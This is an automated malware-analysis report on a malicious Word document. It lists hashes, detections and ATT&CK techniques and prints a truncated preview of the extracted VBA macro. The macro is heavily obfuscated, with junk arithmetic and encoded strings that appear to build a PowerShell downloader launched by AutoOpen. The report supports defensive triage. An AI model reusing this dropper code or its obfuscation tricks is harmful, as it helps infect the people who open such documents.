Office (OLE) malware analysis — malicious · 11350c8eb996fc0b

MALICIOUS

Office (OLE)

117.5 KB Created: 2018-02-16 02:11:00 Authoring application: Microsoft Office Word First seen: 2018-02-19

MD5: b2d19fe982f3ad2bf1d0785680f940bf SHA-1: c141379d6c5901fa6ebb35d93bef1481db2124e5 SHA-256: 11350c8eb996fc0b7684e69fd1fe2aed67efecd9be8958f68b0c504a5893336d

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The macro includes a critical heuristic firing for Shell() execution and an AutoOpen macro, indicating it's designed to run automatically. The presence of the 'Doc.Dropper.Agent-6450645-0' ClamAV signature strongly suggests a dropper functionality, likely intended to download and execute a secondary payload.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6450645-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6450645-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 23000 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	23000 bytes
SHA-256: `64b550e66889c02adffe0f2a3d31b36e51b890c19f4e72d6ffb7eeeb052a0c00`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "zRXCYjpsQI" Function HRZzuhi() On Error Resume Next GonTWHPH = 2242194 / CLng(HjWaDLn) - 3650482 * Cos(8330843) + RRdLnOoknzLKh + 6223504 GJawlaGwstN = 2607738 / CLng(NOUPdwnbcwMNd) - 1368820 * Cos(9362843) + WpomcCzrQIfN + 9830546 XunUONT = 9475203 / CLng(pMMzYwbLTdCjqB) - 5317647 * Cos(1437780) + BYossbPLRcz + 4185360 BYQrY = (GNfGEFOlFEsT) + HJjkJKD("wmCWdB6BX+6BXCO8ftsne6BX'+'+6BXftCO8+CO8s+ftsCO8'+'+C6BX+6B'+'XO8wfts+ftCO8+CO8s-oCO8+CO8bjCO'+'8+CO8e'+'cCO'+'8+CO8tCO8+CO8ftCO8+CO8sCO8+CO8) SysteCO8+CO8m.CailIKJvKuiMSrirGzJHnnbhE", 7, 152) kNEvo = 135264 / CLng(MaIFzlwmHVcpAE) - 5052971 * Cos(926452) + fbqXdkuPXSpsK + 7558385 TqwiDjzC = 2092820 / CLng(TNBWsYOTW) - 3052742 * Cos(3565419) + nTEzNNKN + 1892210 dSWlzOSV = 5301120 / CLng(pOqaSHuziRU) - 6324605 * Cos(8291841) + iAGMXANRc + 5283480 ibPjfCnbwB = (oudUIZSGpo) + HJjkJKD("krMSzjclGINg][cHaR]39)'+'.rEP'+'laCe(gd76Zugd7,gd73t5g6BX+6B'+'Xd7) ) 6BX).REP'+'LAC'+'E(6BX3t56BX,[stRING][cHar]36).REPLACE(([cHar]103+[cHar]10'+'0+[cHar]55),[stRING][cHar]39)XP7 &( YDrpShOme[21]+YDrPShOmetfwzZD", 10, 197) YPFQridmr = 7472390 / CLng(afNDAmb) - 4225239 * Cos(4639226) + PWERPAFTJoNN + 5172643 BnNMzXJC = 9655348 / CLng(QKXuhb) - 1690693 * Cos(3240695) + PziZw + 4719947 jYAZGA = 3319457 / CLng(nVmbrv) - 2634442 * Cos(3486190) + jIwzNEPvkb + 688232 FNEoRrt = (LsdLHBwwMcSkAS) + HJjkJKD("SKiW('(6BX& ( 3t5sHelliD[1]+3t5sHElLID[13]+gd7Xgd7)((gd7& ( ([sgd7+gd7trINg]6gd7+gd7ZuveR6BX+6BXb6BX+6BXoSepREFErenCE)[1,3]+C6BX+6BXO8'+'XCO8DBmmVA", 5, 137) SdUzPfBwMo = 9962779 / CLng(BBvTiMwN) - 6241084 * Cos(9450309) + jWotwAz + 1902872 wnSNfUZTwhL = 4582974 / CLng(tnwEOMMtwn) - 3142524 * Cos(1280819) + BATwAKoJZcuf + 1968426 khuSSjdKkCY = 6872762 / CLng(LcDkbrHNw) - 2908023 * Cos(3135611) + kTiJuZinsiBwwj + 3402001 roaiCUii = (XFZFLjYPJcDu) + HJjkJKD("svmpYIzUYmBPUSGw}CO8+CO8}CO8) -CRePLaCE CO8YySaCO8'+',[cHAr'+']9gTWnki", 17, 50) NwEzGShpr = 3589591 / CLng(Gbwdj) - 5070869 * Cos(918440) + sZnCtqLXtlLa + 2784500 oMUQSqcOZLi = 8989715 / CLng(tGISOniccsCS) - 5585915 * Cos(6140360) + BviulWF + 6965456 ccmNhYv = 5671423 / CLng(YnKDfsmLoCXYH) - 8072998 * Cos(9590828) + zLJqYir + 6365875 GlvQaUTiQlh = (fiwtmWjkLEpr) + HJjkJKD("iICO86'+'BX+6BXDADCX){try{sCO8+CO8jyDYCO6BX+6BX8+CO8YUCO8gd7+gd7+CO'+'8'+'.IRODCO8+6BX+6BXCO'+'8o3CO8+CO8hkLWnl3h6BX+6BXCO8+CTwQcrsEOlvsAIMzLZiSEqIF", 3, 123) ChzGiniKQ = 7833036 / CLng(YZuanUpwdTPwRC) - 4611188 * Cos(2881254) + uizzt + 4795763 DRXXRqAMS = 2709806 / CLng(ZRuOrH) - 5418741 * Cos(1348436) + krtvrFBDr + 970562 jthSOFPGIVh = 6442755 / CLng(wEQOo) - 6654948 * Cos(1103018) + wiAjRNDvhmLn + 7972194 twqPYa = (YzAQGodpcn) + HJjkJKD("lCO6BX+6BX8sdgd7+gd7 =CO'+'8+CO8 CO8+CO8&(COgd7+gd78+CO8ftCOgd7+gd78+CO86BX+6BXsn6BX+6BXgd7+gd7CO8+CO8ftsgd7+gd7COgd7+gd7'+'8+CO8+C'+'O8+CO8fCO8+CO8iCsAVLtCU", 2, 147) DoZpwiDAJ = 8315990 / CLng(idCGWFt) - 8873495 * Cos(2785454) + mksjfc + 8313917 lLwPiRNGYlT = 907763 / CLng(jzLmqRhjmQ) - 4574535 * Cos(3772255) + pJaZarX + 9441103 HEVPUFku = 5131825 / CLng(qVatITttaVdL) - 2450838 * Cos(3667828) + LooVGdqlaujIG + 392318 msdiCf = (dACYWRZF) + HJjkJKD("FJWpBkBFPjiWOlwR-JOIN'+'CO8CO8) (((CO8sj6BX+6BXyDnsadaCO8+ssawDwjnzG", 17, 42) BNruDTMT = 123201 / CLng(YKmrbnzFzwZwQP) - 1032628 * Cos(2427043) + tnqQnA + 4664004 jHVljjrJ = 7548971 / CLng(wElEUhOYAFHfWK) - 7205861 * Cos(4790511) + JJSmTWHDGwJilJ + 2756087 bkwabE = 831665 / CLng(ptUuirhrOz) - 1059223 * Cos(5039414) + cFrprPVKf + 6539249 zJfTTVHJ = (iwHiODibUJAj) + HJjkJKD("HFzzOdUXPOisaRt+CO8iCOwawmBDzfnUqFiHa", 16, 7) CQiDGiTHm = 5594806 / CLng(TErvSzjUJLq) - 8837064 * Cos(3242717) + cBzDMw + 6087233 VodabiVYsXW = 1419038 / CLng(mnMzkPb) - 2234043 * Cos(5230989) + dRAzTdtsW + 2270020 jMjpW = 6217202 / CLng(IOLHsES) - 7983144 * Cos(5823699) + MqEHF + 275661 ... (truncated)

SHA-256: 64b550e66889c02adffe0f2a3d31b36e51b890c19f4e72d6ffb7eeeb052a0c00

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zRXCYjpsQI"
Function HRZzuhi()
On Error Resume Next
GonTWHPH = 2242194 / CLng(HjWaDLn) - 3650482 * Cos(8330843) + RRdLnOoknzLKh + 6223504
GJawlaGwstN = 2607738 / CLng(NOUPdwnbcwMNd) - 1368820 * Cos(9362843) + WpomcCzrQIfN + 9830546
XunUONT = 9475203 / CLng(pMMzYwbLTdCjqB) - 5317647 * Cos(1437780) + BYossbPLRcz + 4185360
BYQrY = (GNfGEFOlFEsT) + HJjkJKD("wmCWdB6BX+6BXCO8ftsne6BX'+'+6BXftCO8+CO8s+ftsCO8'+'+C6BX+6B'+'XO8wfts+ftCO8+CO8s-oCO8+CO8bjCO'+'8+CO8e'+'cCO'+'8+CO8tCO8+CO8ftCO8+CO8sCO8+CO8) SysteCO8+CO8m.CailIKJvKuiMSrirGzJHnnbhE", 7, 152)
kNEvo = 135264 / CLng(MaIFzlwmHVcpAE) - 5052971 * Cos(926452) + fbqXdkuPXSpsK + 7558385
TqwiDjzC = 2092820 / CLng(TNBWsYOTW) - 3052742 * Cos(3565419) + nTEzNNKN + 1892210
dSWlzOSV = 5301120 / CLng(pOqaSHuziRU) - 6324605 * Cos(8291841) + iAGMXANRc + 5283480
ibPjfCnbwB = (oudUIZSGpo) + HJjkJKD("krMSzjclGINg][cHaR]39)'+'.rEP'+'laCe(gd76Zugd7,gd73t5g6BX+6B'+'Xd7) ) 6BX).REP'+'LAC'+'E(6BX3t56BX,[stRING][cHar]36).REPLACE(([cHar]103+[cHar]10'+'0+[cHar]55),[stRING][cHar]39)XP7 &( YDrpShOme[21]+YDrPShOmetfwzZD", 10, 197)
YPFQridmr = 7472390 / CLng(afNDAmb) - 4225239 * Cos(4639226) + PWERPAFTJoNN + 5172643
BnNMzXJC = 9655348 / CLng(QKXuhb) - 1690693 * Cos(3240695) + PziZw + 4719947
jYAZGA = 3319457 / CLng(nVmbrv) - 2634442 * Cos(3486190) + jIwzNEPvkb + 688232
FNEoRrt = (LsdLHBwwMcSkAS) + HJjkJKD("SKiW('(6BX& ( 3t5sHelliD[1]+3t5sHElLID[13]+gd7Xgd7)((gd7& ( ([sgd7+gd7trINg]6gd7+gd7ZuveR6BX+6BXb6BX+6BXoSepREFErenCE)[1,3]+C6BX+6BXO8'+'XCO8DBmmVA", 5, 137)
SdUzPfBwMo = 9962779 / CLng(BBvTiMwN) - 6241084 * Cos(9450309) + jWotwAz + 1902872
wnSNfUZTwhL = 4582974 / CLng(tnwEOMMtwn) - 3142524 * Cos(1280819) + BATwAKoJZcuf + 1968426
khuSSjdKkCY = 6872762 / CLng(LcDkbrHNw) - 2908023 * Cos(3135611) + kTiJuZinsiBwwj + 3402001
roaiCUii = (XFZFLjYPJcDu) + HJjkJKD("svmpYIzUYmBPUSGw}CO8+CO8}CO8)  -CRePLaCE CO8YySaCO8'+',[cHAr'+']9gTWnki", 17, 50)
NwEzGShpr = 3589591 / CLng(Gbwdj) - 5070869 * Cos(918440) + sZnCtqLXtlLa + 2784500
oMUQSqcOZLi = 8989715 / CLng(tGISOniccsCS) - 5585915 * Cos(6140360) + BviulWF + 6965456
ccmNhYv = 5671423 / CLng(YnKDfsmLoCXYH) - 8072998 * Cos(9590828) + zLJqYir + 6365875
GlvQaUTiQlh = (fiwtmWjkLEpr) + HJjkJKD("iICO86'+'BX+6BXDADCX){try{sCO8+CO8jyDYCO6BX+6BX8+CO8YUCO8gd7+gd7+CO'+'8'+'.IRODCO8+6BX+6BXCO'+'8o3CO8+CO8hkLWnl3h6BX+6BXCO8+CTwQcrsEOlvsAIMzLZiSEqIF", 3, 123)
ChzGiniKQ = 7833036 / CLng(YZuanUpwdTPwRC) - 4611188 * Cos(2881254) + uizzt + 4795763
DRXXRqAMS = 2709806 / CLng(ZRuOrH) - 5418741 * Cos(1348436) + krtvrFBDr + 970562
jthSOFPGIVh = 6442755 / CLng(wEQOo) - 6654948 * Cos(1103018) + wiAjRNDvhmLn + 7972194
twqPYa = (YzAQGodpcn) + HJjkJKD("lCO6BX+6BX8sdgd7+gd7 =CO'+'8+CO8 CO8+CO8&(COgd7+gd78+CO8ftCOgd7+gd78+CO86BX+6BXsn6BX+6BXgd7+gd7CO8+CO8ftsgd7+gd7COgd7+gd7'+'8+CO8+C'+'O8+CO8fCO8+CO8iCsAVLtCU", 2, 147)
DoZpwiDAJ = 8315990 / CLng(idCGWFt) - 8873495 * Cos(2785454) + mksjfc + 8313917
lLwPiRNGYlT = 907763 / CLng(jzLmqRhjmQ) - 4574535 * Cos(3772255) + pJaZarX + 9441103
HEVPUFku = 5131825 / CLng(qVatITttaVdL) - 2450838 * Cos(3667828) + LooVGdqlaujIG + 392318
msdiCf = (dACYWRZF) + HJjkJKD("FJWpBkBFPjiWOlwR-JOIN'+'CO8CO8) (((CO8sj6BX+6BXyDnsadaCO8+ssawDwjnzG", 17, 42)
BNruDTMT = 123201 / CLng(YKmrbnzFzwZwQP) - 1032628 * Cos(2427043) + tnqQnA + 4664004
jHVljjrJ = 7548971 / CLng(wElEUhOYAFHfWK) - 7205861 * Cos(4790511) + JJSmTWHDGwJilJ + 2756087
bkwabE = 831665 / CLng(ptUuirhrOz) - 1059223 * Cos(5039414) + cFrprPVKf + 6539249
zJfTTVHJ = (iwHiODibUJAj) + HJjkJKD("HFzzOdUXPOisaRt+CO8iCOwawmBDzfnUqFiHa", 16, 7)
CQiDGiTHm = 5594806 / CLng(TErvSzjUJLq) - 8837064 * Cos(3242717) + cBzDMw + 6087233
VodabiVYsXW = 1419038 / CLng(mnMzkPb) - 2234043 * Cos(5230989) + dRAzTdtsW + 2270020
jMjpW = 6217202 / CLng(IOLHsES) - 7983144 * Cos(5823699) + MqEHF + 275661
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.